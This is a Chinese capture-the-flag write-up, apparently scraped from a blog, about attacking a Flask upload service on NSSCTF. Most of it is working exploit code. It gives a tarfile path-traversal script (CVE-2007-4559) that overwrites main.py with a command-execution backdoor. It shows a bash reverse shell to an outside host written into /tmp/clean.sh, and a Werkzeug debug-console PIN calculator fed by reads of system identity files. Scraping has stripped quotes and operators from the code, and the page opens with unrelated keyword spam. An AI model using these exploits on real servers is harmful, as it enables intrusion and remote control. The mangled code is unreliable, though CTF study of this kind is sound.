小红书网站开发形式选择,中国建设网官方网站企业,如何设置手机网站主页,艺术公司网站定制中心文章目录 考点tarfile文件覆盖漏洞#xff08;CVE-2007-4559#xff09;PIN码计算 解题过程非预期解预期解 考点
tarfile文件覆盖漏洞#xff08;CVE-2007-4559#xff09; Python 中 tarfile 模块中的extract、extractFile和extractall 函数中的目录遍历漏洞 允许 用户协… 文章目录 考点tarfile文件覆盖漏洞CVE-2007-4559PIN码计算 解题过程非预期解预期解 考点
tarfile文件覆盖漏洞CVE-2007-4559 Python 中 tarfile 模块中的extract、extractFile和extractall 函数中的目录遍历漏洞 允许 用户协助的远程攻击者通过 TAR 存档文件名中的…和/遍历目录 和 写入/覆盖任意文件 关键代码
tar tarfile.open(file_save_path, r)
tar.extractall(app.config[UPLOAD_FOLDER])extractall函数如果结合包含../的文件名时可以实现文件覆盖漏洞 脚本如下
import re
import time
import requests as req
import tarfileurl http://node5.anna.nssctf.cn:28560/
filename rmain.pydef changeFileName(filename):filename.name../../../app/main.pyreturn filenamewith tarfile.open(exp.tar, w) as tar:tar.add(filename,filterchangeFileName)def upload(rawurl):url rawurl uploadresponse req.post(url url, files {file:open(exp.tar,rb)})print(response.text)if __name__ __main__:upload(url)脚本大概过程如下
首先定义url和需要上传的文件main.py然后定义了新的文件名来实现文件覆盖接着创建tar文件文件名为前面定义的新文件名然后是实现文件上传功能利用POST请求发送
最终实现覆盖main.py
PIN码计算
PIN 的生成流程分析可以知道 PIN 主要由 probably_public_bits 和 private_bits 两个列表变量决定而这两个列表变量又由如下6个变量决定
username 启动这个 Flask 的用户
modname 一般默认 flask.app
getattr(app, __name__, getattr(app.__class__, __name__)) 一般默认 flask.app 为 Flask
getattr(mod, __file__, None)为 flask 目录下的一个 app.py 的绝对路径,可在爆错页面看到
str(uuid.getnode()) 则是网卡 MAC 地址的十进制表达式
get_machine_id() 系统 id那又如何获取这6个变量呢因为 modname 一般默认 flask.appgetattr(app, __name__, getattr(app.__class__, __name__)) 一般默认 flask.app 为 Flask所以主要获取剩下的4个变量即可。
liunx下PIN码中的username 可以从 /etc/passwd 中读取
cat /etc/passwd此题为root 然后可以看到环境为python/3.10.1 那么绝对路径为
/usr/local/lib/python3.10/site-packages/flask/app.py继续获取网卡 MAC 地址的十进制表达式
cat /sys/class/net/eth0/address #或者是/sys/class/net/ens33/address把冒号去掉然后转换十进制
最后的系统id包括两部分 我们先读取/etc/machine-id也可以是/proc/sys/kernel/random/boot_id
cat /etc/machine-id然后读取/proc/self/cgroup并且只读取第一行并以从右边算起的第一个/为分隔符
cat /proc/self/cgroup也就是下图的8a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44 把信息收集齐后就可以计算PIN码 脚本如下
import hashlib
from itertools import chain
probably_public_bits [root flask.app,Flask,/usr/local/lib/python3.10/site-packages/flask/app.py
]private_bits [2485376927778, 96cec10d3d9307792745ec3b85c896208a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44
]h hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit bit.encode(utf-8)h.update(bit)
h.update(bcookiesalt)cookie_name __wzd h.hexdigest()[:20]num None
if num is None:h.update(bpinsalt)num (%09d % int(h.hexdigest(), 16))[:9]rv None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size 0:rv -.join(num[x:x group_size].rjust(group_size, 0)for x in range(0, len(num), group_size))breakelse:rv numprint(rv)解题过程
非预期解
我们可以看到debug是开启的那么当文件发生修改时会自动重载可以直接覆盖main.py main.py可以猜路径可以慢慢试出来 那么我们只需要可以直接RCE的main.py覆盖即可 main.py
# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import osapp Flask(__name__)app.route(/download, methods[GET])
def download_file():filename request.args.get(filename)return os.popen(filename).read()if __name__ __main__:app.run(host0.0.0.0, debugTrue, port80)
解释一下就是./download路由下参数filename可以命令执行 上传脚本
import re
import time
import requests as req
import tarfileurl http://node5.anna.nssctf.cn:28560/
filename rmain.pydef changeFileName(filename):filename.name../../../app/main.pyreturn filenamewith tarfile.open(exp.tar, w) as tar:tar.add(filename,filterchangeFileName)def upload(rawurl):url rawurl uploadresponse req.post(url url, files {file:open(exp.tar,rb)})print(response.text)if __name__ __main__:upload(url)上传成功后命令执行得到flag
预期解
源码 # -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import osapp Flask(__name__)
app.config[UPLOAD_FOLDER] ./uploads
app.config[MAX_CONTENT_LENGTH] 100 * 1024
ALLOWED_EXTENSIONS set([tar])def allowed_file(filename):return . in filename and \filename.rsplit(., 1)[1].lower() in ALLOWED_EXTENSIONSapp.route(/)
def index():with open(__file__, r) as f:return f.read()app.route(/upload, methods[POST])
def upload_file():if file not in request.files:return ?file request.files[file]if file.filename :return ?if file and allowed_file(file.filename) and .. not in file.filename and / not in file.filename:file_save_path os.path.join(app.config[UPLOAD_FOLDER], file.filename)if(os.path.exists(file_save_path)):return This file already existsfile.save(file_save_path)else:return This file is not a tarfiletry:tar tarfile.open(file_save_path, r)tar.extractall(app.config[UPLOAD_FOLDER])except Exception as e:return str(e)os.remove(file_save_path)return successapp.route(/download, methods[POST])
def download_file():filename request.form.get(filename)if filename is None or filename :return ?filepath os.path.join(app.config[UPLOAD_FOLDER], filename)if .. in filename or / in filename:return ?if not os.path.exists(filepath) or not os.path.isfile(filepath):return ?if os.path.islink(filepath):return ?if oct(os.stat(filepath).st_mode)[-3:] ! 444:return ?with open(filepath, r) as f:return f.read()app.route(/clean, methods[POST])
def clean_file():os.system(su ctf -c /tmp/clean.sh)return success# print(os.environ)if __name__ __main__:app.run(host0.0.0.0, debugTrue, port80)
利用CVE-2007-4559进行任意写文件然后覆盖/tmp/clean.sh然后访问clean路由触发反弹shell exp.sh
bash -c bash -i /dev/tcp/f57819674z.imdo.co/54789 01exp.py
import re
import time
import requests as req
import tarfileurl http://node5.anna.nssctf.cn:28417/
filename rexp.shdef changeFileName(filename):filename.name../../../tmp/clean.shreturn filenamewith tarfile.open(exp.tar, w) as tar:tar.add(filename,filterchangeFileName)def upload(rawurl):url rawurl uploadresponse req.post(url url, files {file:open(exp.tar,rb)})print(response.text)def clean(rawurl):url rawurl cleanresponse req.post(url)print(response.text)
if __name__ __main__:upload(url)time.sleep(1)clean(url)关键步骤要给exp.sh赋予可执行的权限
chmod x exp.sh运行脚本成功反弹shell 想得到flag但是没权限
这里扫了一下目录发现存在./console也就是debug的路由 所以接下来计算PIN码 详细的获取过程在前面的考点有提及 直接给出脚本
import hashlib
from itertools import chain
probably_public_bits [root flask.app,Flask,/usr/local/lib/python3.10/site-packages/flask/app.py
]private_bits [2485376927778, 96cec10d3d9307792745ec3b85c896208a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44
]h hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit bit.encode(utf-8)h.update(bit)
h.update(bcookiesalt)cookie_name __wzd h.hexdigest()[:20]num None
if num is None:h.update(bpinsalt)num (%09d % int(h.hexdigest(), 16))[:9]rv None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size 0:rv -.join(num[x:x group_size].rjust(group_size, 0)for x in range(0, len(num), group_size))breakelse:rv numprint(rv)访问./console输入正确的PIN码 得到flag